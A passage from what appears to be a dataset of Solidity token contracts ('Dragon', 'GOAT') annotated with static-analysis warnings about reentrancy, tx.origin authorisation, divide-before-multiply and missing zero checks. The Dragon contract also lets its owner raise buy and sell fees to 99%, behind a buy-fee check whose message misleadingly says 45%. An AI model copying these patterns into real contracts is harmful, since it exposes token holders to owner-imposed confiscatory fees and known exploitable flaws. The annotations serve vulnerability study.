startTrade() external onlyOwner {\n swapsEnable = true;\n\n tradingsLive = true;\n\n lastLpBurnTime = block.timestamp;\n }\n\n function disableTransferDelay() external onlyOwner returns (bool) {\n transferDelayEnabled = false;\n\n return true;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 87f2f19): Dragon.updateSwapTokensAtAmount(uint256) should emit an event for swapTokensAtAmount = newAmount \n\t// Recommendation for 87f2f19: Emit an event for critical parameter changes.\n function updateSwapTokensAtAmount(\n uint256 newAmount\n ) external onlyOwner returns (bool) {\n require(\n newAmount >= (totalSupply() * 1) / 10000,\n \"Swap amount cannot be lower than 0.001% total supply.\"\n );\n\n require(\n newAmount <= (totalSupply() * 5) / 1000,\n \"Swap amount cannot be higher than 0.5% total supply.\"\n );\n\n\t\t// events-maths | ID: 87f2f19\n swapTokensAtAmount = newAmount;\n\n return true;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 35e3a51): Dragon.updateMaxTxAmount(uint256) should emit an event for maxTransactionAmount = newNum * (10 ** 9) \n\t// Recommendation for 35e3a51: Emit an event for critical parameter changes.\n function updateMaxTxAmount(uint256 newNum) external onlyOwner {\n require(\n newNum >= ((totalSupply() * 2) / 1000) / 1e9,\n \"Cannot change maxTransactionAmount lower than 0.2%\"\n );\n\n\t\t// events-maths | ID: 35e3a51\n maxTransactionAmount = newNum * (10 ** 9);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 16ab72a): Dragon.updateMaxWalletAmount(uint256) should emit an event for maxWallet = newNum * (10 ** 9) \n\t// Recommendation for 16ab72a: Emit an event for critical parameter changes.\n function updateMaxWalletAmount(uint256 newNum) external onlyOwner {\n require(\n newNum >= ((totalSupply() * 10) / 1000) / 1e9,\n \"Cannot change maxWallet lower than 1%\"\n );\n\n\t\t// events-maths | ID: 16ab72a\n maxWallet = newNum * (10 ** 9);\n }\n\n function removeLimits() external onlyOwner {\n maxTransactionAmount = totalSupply();\n\n maxWallet = totalSupply();\n }\n\n function excludeFromMaxTransaction(\n address updAds,\n bool isEx\n ) public onlyOwner {\n _isExcludedMaxTransactionAmount[updAds] = isEx;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 28920a1): Missing events for critical arithmetic parameters.\n\t// Recommendation for 28920a1: Emit an event for critical parameter changes.\n function updateBuyFees(\n uint256 _marketingFee,\n uint256 _liquidityFee,\n uint256 _devFee\n ) external onlyOwner {\n\t\t// events-maths | ID: 28920a1\n buyMarketingFee = _marketingFee;\n\n\t\t// events-maths | ID: 28920a1\n buyLiquidityFee = _liquidityFee;\n\n\t\t// events-maths | ID: 28920a1\n buyDevFee = _devFee;\n\n\t\t// events-maths | ID: 28920a1\n buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;\n\n require(buyTotalFees <= 99, \"Must keep fees at 45% or less\");\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 257ed88): Missing events for critical arithmetic parameters.\n\t// Recommendation for 257ed88: Emit an event for critical parameter changes.\n function updateSellFees(\n uint256 _marketingFee,\n uint256 _liquidityFee,\n uint256 _devFee\n ) external onlyOwner {\n\t\t// events-maths | ID: 257ed88\n sellMarketingFee = _marketingFee;\n\n\t\t// events-maths | ID: 257ed88\n sellLiquidityFee = _liquidityFee;\n\n\t\t// events-maths | ID: 257ed88\n sellDevFee = _devFee;\n\n\t\t// events-maths | ID: 257ed88\n sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;\n\n require(sellTotalFees <= 99, \"Must keep fees at 99% or less\");\n }\n\n function excludeFromFees(address account, bool excluded) public onlyOwner {\n _isExcludedFromFees[account] = excluded;\n\n emit ExcludeFromFees(account, excluded);\n }\n\n function setAutomatedMarketMakerPair(\n address pair,\n bool value\n ) public onlyOwner {\n require(\n pair != uniswapV2Pair,\n \"The pair cannot be removed from automatedMarketMakerPairs\"\n );\n\n _setAutomatedMarketMakerPair(pair, value);\n }\n\n function _setAutomatedMarketMakerPair(address pair, bool value) private {\n automatedMarketMakerPairs[pair] = value;\n\n emit SetAutomatedMarketMakerPair(pair, value);\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 339c6d5): Dragon.setMarketingWallet(address).newMarketingWallet lacks a zerocheck on \t MarketingWallet = newMarketingWallet\n\t// Recommendation for 339c6d5: Check that the address is not zero.\n function setMarketingWallet(address newMarketingWallet) external onlyOwner {\n emit MarketingWalletUpdated(newMarketingWallet, MarketingWallet);\n\n\t\t// missing-zero-check | ID: 339c6d5\n MarketingWallet = newMarketingWallet;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: d060c12): Dragon.setDevWallet(address).newWallet lacks a zerocheck on \t devWallet = newWallet\n\t// Recommendation for d060c12: Check that the address is not zero.\n function setDevWallet(address newWallet) external onlyOwner {\n emit devWalletUpdated(newWallet, devWallet);\n\n\t\t// missing-zero-check | ID: d060c12\n devWallet = newWallet;\n }\n\n function isExcludedFromFees(address account) public view returns (bool) {\n return _isExcludedFromFees[account];\n }\n\n event isbot(address indexed sniper);\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: d1072b1): Dangerous usage of 'block.timestamp'. 'block.timestamp' can be manipulated by miners.\n\t// Recommendation for d1072b1: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: dd8a9b7): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for dd8a9b7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: ba93125): 'tx.origin'-based protection can be abused by a malicious contract if a legitimate user interacts with the malicious contract.\n\t// Recommendation for ba93125: Do not use 'tx.origin' for authorization.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 29ff2f1): Dragon._transfer(address,address,uint256) performs a multiplication on the result of a division fees = amount.mul(buyTotalFees).div(100) tokensForDev += (fees * buyDevFee) / buyTotalFees\n\t// Recommendation for 29ff2f1: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 494b669): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for 494b669: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 86233b7): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for 86233b7: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 24d0d37): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for 24d0d37: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 607309c): Dragon._transfer(address,address,uint256) performs a multiplication on the result of a division fees = amount.mul(sellTotalFees).div(100) tokensForDev += (fees * sellDevFee) / sellTotalFees\n\t// Recommendation for 607309c: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 8d80622): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for 8d80622: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 41beb36): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 41beb36: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: aeb33cf): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for aeb33cf: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal override {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n if (amount == 0) {\n super._transfer(from, to, 0);\n\n return;\n }\n\n if (limitsInEffect) {\n if (\n from != owner() &&\n to != owner() &&\n to != address(0) &&\n to != address(0xdead) &&\n !swapping\n ) {\n if (!tradingsLive) {\n require(\n _isExcludedFromFees[from] || _isExcludedFromFees[to],\n \"Trading is not active.\"\n );\n }\n\n if (transferDelayEnabled) {\n if (\n to != owner() &&\n to != address(uniswapV2Router) &&\n to != address(uniswapV2Pair)\n ) {\n\t\t\t\t\t\t// tx-origin | ID: ba93125\n require(\n _holderLastTransferTimestamp[tx.origin] <\n block.number,\n \"_transfer:: Transfer Delay enabled. Only one purchase per block allowed.\"\n );\n\n _holderLastTransferTimestamp[tx.origin] = block.number;\n }\n }\n\n if (\n automatedMarketMakerPairs[from] &&\n !_isExcludedMaxTransactionAmount[to]\n ) {\n require(\n amount <= maxTransactionAmount,\n \"Buy transfer amount exceeds the maxTransactionAmount.\"\n );\n\n require(\n amount + balanceOf(to) <= maxWallet,\n \"Max wallet exceeded\"\n );\n } else if (\n automatedMarketMakerPairs[to] &&\n !_isExcludedMaxTransactionAmount[from]\n ) {\n require(\n amount <= maxTransactionAmount,\n \"Sell transfer amount exceeds the maxTransactionAmount.\"\n );\n } else if (!_isExcludedMaxTransactionAmount[to]) {\n require(\n amount + balanceOf(to) <= maxWallet,\n \"Max wallet exceeded\"\n );\n }\n }\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n bool canSwap = contractTokenBalance >= swapTokensAtAmount;\n\n if (\n canSwap &&\n swapsEnable &&\n !swapping &&\n !automatedMarketMakerPairs[from] &&\n !_isExcludedFromFees[from] &&\n !_isExcludedFromFees[to]\n ) {\n swapping = true;\n\n\t\t\t// reentrancy-events | ID: dd8a9b7\n\t\t\t// reentrancy-eth | ID: 41beb36\n\t\t\t// reentrancy-eth | ID: aeb33cf\n swapBack();\n\n\t\t\t// reentrancy-eth | ID: aeb33cf\n swapping = false;\n }\n\n if (\n\t\t\t// timestamp | ID: d1072b1\n !swapping &&\n automatedMarketMakerPairs[to] &&\n lpBurnEnabled &&\n block.timestamp >= lastLpBurnTime + lpBurnFrequency &&\n !_isExcludedFromFees[from]\n ) {\n\t\t\t// reentrancy-events | ID: dd8a9b7\n\t\t\t// reentrancy-eth | ID: 41beb36\n autoBurnLiquidityPairTokens();\n }\n\n bool takeFee = !swapping;\n\n if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {\n takeFee = false;\n }\n\n uint256 fees = 0;\n\n if (takeFee) {\n if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {\n\t\t\t\t// divide-before-multiply | ID: 86233b7\n\t\t\t\t// divide-before-multiply | ID: 607309c\n\t\t\t\t// divide-before-multiply | ID: 8d80622\n fees = amount.mul(sellTotalFees).div(100);\n\n\t\t\t\t// divide-before-multiply | ID: 86233b7\n\t\t\t\t// reentrancy-eth | ID: 41beb36\n tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;\n\n\t\t\t\t// divide-before-multiply | ID: 607309c\n\t\t\t\t// reentrancy-eth | ID: 41beb36\n tokensForDev += (fees * sellDevFee) / sellTotalFees;\n\n\t\t\t\t// divide-before-multiply | ID: 8d80622\n\t\t\t\t// reentrancy-eth | ID: 41beb36\n tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;\n } else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {\n\t\t\t\t// divide-before-multiply | ID: 29ff2f1\n\t\t\t\t// divide-before-multiply | ID: 494b669\n\t\t\t\t// divide-before-multiply | ID: 24d0d37\n fees = amount.mul(buyTotalFees).div(100);\n\n\t\t\t\t// divide-before-multiply | ID: 24d0d37\n\t\t\t\t// reentrancy-eth | ID: 41beb36\n tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;\n\n\t\t\t\t// divide-before-multiply | ID: 29ff2f1\n\t\t\t\t// reentrancy-eth | ID: 41beb36\n tokensForDev += (fees * buyDevFee) / buyTotalFees;\n\n\t\t\t\t// divide-before-multiply | ID: 494b669\n\t\t\t\t// reentrancy-eth | ID: 41beb36\n tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;\n }\n\n if (fees > 0) {\n\t\t\t\t// reentrancy-events | ID: dd8a9b7\n\t\t\t\t// reentrancy-eth | ID: 41beb36\n super._transfer(from, address(this), fees);\n }\n\n amount -= fees;\n }\n\n\t\t// reentrancy-events | ID: dd8a9b7\n\t\t// reentrancy-eth | ID: 41beb36\n super._transfer(from, to, amount);\n }\n\n function swapTokensForEth(uint256 tokenAmount) private {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: dd8a9b7\n\t\t// reentrancy-events | ID: 9c0bfe4\n\t\t// reentrancy-benign | ID: 3771533\n\t\t// reentrancy-no-eth | ID: e845770\n\t\t// reentrancy-eth | ID: 41beb36\n\t\t// reentrancy-eth | ID: aeb33cf\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 670561f): Dragon.addLiquidity(uint256,uint256) ignores return value by uniswapV2Router.addLiquidityETH{value ethAmount}(address(this),tokenAmount,0,0,deadAddress,block.timestamp)\n\t// Recommendation for 670561f: Ensure that all the return values of the function calls are used.\n function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: dd8a9b7\n\t\t// reentrancy-events | ID: 9c0bfe4\n\t\t// reentrancy-benign | ID: 3771533\n\t\t// unused-return | ID: 670561f\n\t\t// reentrancy-eth | ID: 41beb36\n\t\t// reentrancy-eth | ID: aeb33cf\n uniswapV2Router.addLiquidityETH{value: ethAmount}(\n address(this),\n tokenAmount,\n 0,\n 0,\n deadAddress,\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 9c0bfe4): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 9c0bfe4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 3771533): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 3771533: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: e845770): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for e845770: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: eb4e22d): Dragon.swapBack() uses a dangerous strict equality contractBalance == 0 || totalTokensToSwap == 0\n\t// Recommendation for eb4e22d: Don't use strict equality to determine if an account has enough Ether or tokens.\n function swapBack() private {\n uint256 contractBalance = balanceOf(address(this));\n\n uint256 totalTokensToSwap = tokensForLiquidity +\n tokensForMarketing +\n tokensForDev;\n\n bool success;\n\n\t\t// incorrect-equality | ID: eb4e22d\n if (contractBalance == 0 || totalTokensToSwap == 0) {\n return;\n }\n\n if (contractBalance > swapTokensAtAmount * 20) {\n contractBalance = swapTokensAtAmount * 20;\n }\n\n uint256 liquidityTokens = (contractBalance * tokensForLiquidity) /\n totalTokensToSwap /\n 2;\n\n uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);\n\n uint256 initialETHBalance = address(this).balance;\n\n\t\t// reentrancy-events | ID: 9c0bfe4\n\t\t// reentrancy-benign | ID: 3771533\n\t\t// reentrancy-no-eth | ID: e845770\n swapTokensForEth(amountToSwapForETH);\n\n uint256 ethBalance = address(this).balance.sub(initialETHBalance);\n\n uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(\n totalTokensToSwap\n );\n\n uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap);\n\n uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev;\n\n\t\t// reentrancy-no-eth | ID: e845770\n tokensForLiquidity = 0;\n\n\t\t// reentrancy-no-eth | ID: e845770\n tokensForMarketing = 0;\n\n\t\t// reentrancy-no-eth | ID: e845770\n tokensForDev = 0;\n\n\t\t// reentrancy-events | ID: dd8a9b7\n\t\t// reentrancy-events | ID: 9c0bfe4\n\t\t// reentrancy-benign | ID: 3771533\n\t\t// reentrancy-eth | ID: 41beb36\n\t\t// reentrancy-eth | ID: aeb33cf\n (success, ) = address(devWallet).call{value: ethForDev}(\"\");\n\n if (liquidityTokens > 0 && ethForLiquidity > 0) {\n\t\t\t// reentrancy-events | ID: 9c0bfe4\n\t\t\t// reentrancy-benign | ID: 3771533\n addLiquidity(liquidityTokens, ethForLiquidity);\n\n\t\t\t// reentrancy-events | ID: 9c0bfe4\n emit SwapAndLiquify(\n amountToSwapForETH,\n ethForLiquidity,\n tokensForLiquidity\n );\n }\n\n\t\t// reentrancy-events | ID: dd8a9b7\n\t\t// reentrancy-eth | ID: 41beb36\n\t\t// reentrancy-eth | ID: aeb33cf\n (success, ) = address(MarketingWallet).call{\n value: address(this).balance\n }(\"\");\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: cb55872): Dragon.updateAutoLPBurnSettings(uint256,uint256,bool) should emit an event for lpBurnFrequency = _frequencyInSeconds percentForLPBurn = _percent \n\t// Recommendation for cb55872: Emit an event for critical parameter changes.\n\t// WARNING Vulnerability (tautology | severity: Medium | ID: 120ba5e): Dragon.updateAutoLPBurnSettings(uint256,uint256,bool) contains a tautology or contradiction require(bool,string)(_percent <= 1000 && _percent >= 0,Must set auto LP burn percent between 0% and 10%)\n\t// Recommendation for 120ba5e: Fix the incorrect comparison by changing the value type or the comparison.\n function updateAutoLPBurnSettings(\n uint256 _frequencyInSeconds,\n uint256 _percent,\n bool _Enabled\n ) external onlyOwner {\n require(\n _frequencyInSeconds >= 600,\n \"cannot set buyback more often than every 10 minutes\"\n );\n\n\t\t// tautology | ID: 120ba5e\n require(\n _percent <= 1000 && _percent >= 0,\n \"Must set auto LP burn percent between 0% and 10%\"\n );\n\n\t\t// events-maths | ID: cb55872\n lpBurnFrequency = _frequencyInSeconds;\n\n\t\t// events-maths | ID: cb55872\n percentForLPBurn = _percent;\n\n lpBurnEnabled = _Enabled;\n }\n\n\t// WARNING Optimization Issue (var-read-using-this | ID: 7a52dbc): The function Dragon.autoBurnLiquidityPairTokens() reads liquidityPairBalance = this.balanceOf(uniswapV2Pair) with `this` which adds an extra STATICCALL.\n\t// Recommendation for 7a52dbc: Read the variable directly from storage instead of calling the contract.\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: e1cbf85): Reentrancy in Dragon.autoBurnLiquidityPairTokens() External calls pair.sync() Event emitted after the call(s) AutoNukeLP()\n\t// Recommendation for e1cbf85: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function autoBurnLiquidityPairTokens() internal returns (bool) {\n lastLpBurnTime = block.timestamp;\n\n\t\t// var-read-using-this | ID: 7a52dbc\n uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);\n\n uint256 amountToBurn = liquidityPairBalance.mul(percentForLPBurn).div(\n 10000\n );\n\n if (amountToBurn > 0) {\n super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);\n }\n\n IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair);\n\n\t\t// reentrancy-events | ID: dd8a9b7\n\t\t// reentrancy-events | ID: e1cbf85\n\t\t// reentrancy-eth | ID: 41beb36\n pair.sync();\n\n\t\t// reentrancy-events | ID: dd8a9b7\n\t\t// reentrancy-events | ID: e1cbf85\n emit AutoNukeLP();\n\n return true;\n }\n\n\t// WARNING Optimization Issue (var-read-using-this | ID: ea27b5a): The function Dragon.manualBurnLiquidityPairTokens(uint256) reads liquidityPairBalance = this.balanceOf(uniswapV2Pair) with `this` which adds an extra STATICCALL.\n\t// Recommendation for ea27b5a: Read the variable directly from storage instead of calling the contract.\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: e771f28): Dangerous usage of 'block.timestamp'. 'block.timestamp' can be manipulated by miners.\n\t// Recommendation for e771f28: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 515b8e5): Reentrancy in Dragon.manualBurnLiquidityPairTokens(uint256) External calls pair.sync() Event emitted after the call(s) ManualNukeLP()\n\t// Recommendation for 515b8e5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function manualBurnLiquidityPairTokens(\n uint256 percent\n ) external onlyOwner returns (bool) {\n\t\t// timestamp | ID: e771f28\n require(\n block.timestamp > lastManualLpBurnTime + manualBurnFrequency,\n \"Must wait for cooldown to finish\"\n );\n\n require(percent <= 1000, \"May not nuke more than 10% of tokens in LP\");\n\n lastManualLpBurnTime = block.timestamp;\n\n\t\t// var-read-using-this | ID: ea27b5a\n uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);\n\n uint256 amountToBurn = liquidityPairBalance.mul(percent).div(10000);\n\n if (amountToBurn > 0) {\n super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);\n }\n\n IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair);\n\n\t\t// reentrancy-events | ID: 515b8e5\n pair.sync();\n\n\t\t// reentrancy-events | ID: 515b8e5\n emit ManualNukeLP();\n\n return true;\n }\n}\n", "file_name": "solidity_code_1032.sol", "size_bytes": 45127, "vulnerability": 4 }
{ "code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract GOAT is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n uint256 firstBlock;\n\n\t// WARNING Optimization Issue (constable-states | ID: 162c922): GOAT._initialBuyTax should be constant \n\t// Recommendation for 162c922: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 1;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0666bf1): GOAT._initialSellTax should be constant \n\t// Recommendation for 0666bf1: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 1;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5591f0f): GOAT._finalBuyTax should be constant \n\t// Recommendation for 5591f0f: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: b5c1820): GOAT._finalSellTax should be constant \n\t// Recommendation for b5c1820: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3f22a61): GOAT._reduceBuyTaxAt should be constant \n\t// Recommendation for 3f22a61: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 5;\n\n\t// WARNING Optimization Issue (constable-states | ID: 39e0ceb): GOAT._reduceSellTaxAt should be constant \n\t// Recommendation for 39e0ceb: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 5;\n\n\t// WARNING Optimization Issue (constable-states | ID: a376bb9): GOAT._preventSwapBefore should be constant \n\t// Recommendation for a376bb9: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 5;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420_690_000 * 10 ** _decimals;\n\n string private constant _name = unicode\"GOAT\";\n\n string private constant _symbol = unicode\"GOAT\";\n\n uint256 public _maxTxAmount = 17 * 42069000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 17 * 52069000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: cff8a2f): GOAT._taxSwapThreshold should be constant \n\t// Recommendation for cff8a2f: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 0 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2dd8925): GOAT._maxTaxSwap should be constant \n\t// Recommendation for 2dd8925: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 420006900 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n\t// WARNING Optimization Issue (constable-states | ID: 09c3a8f): GOAT._taxWallet should be constant \n\t// Recommendation for 09c3a8f: Add the 'constant' attribute to state variables that never change.\n address payable private _taxWallet =\n payable(0x9cd1Cfef71d9b81124fA0A0e6a605A074055da4c);\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: d14e6c0): GOAT.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for d14e6c0: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 54dce32): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 54dce32: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 5b4689b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation 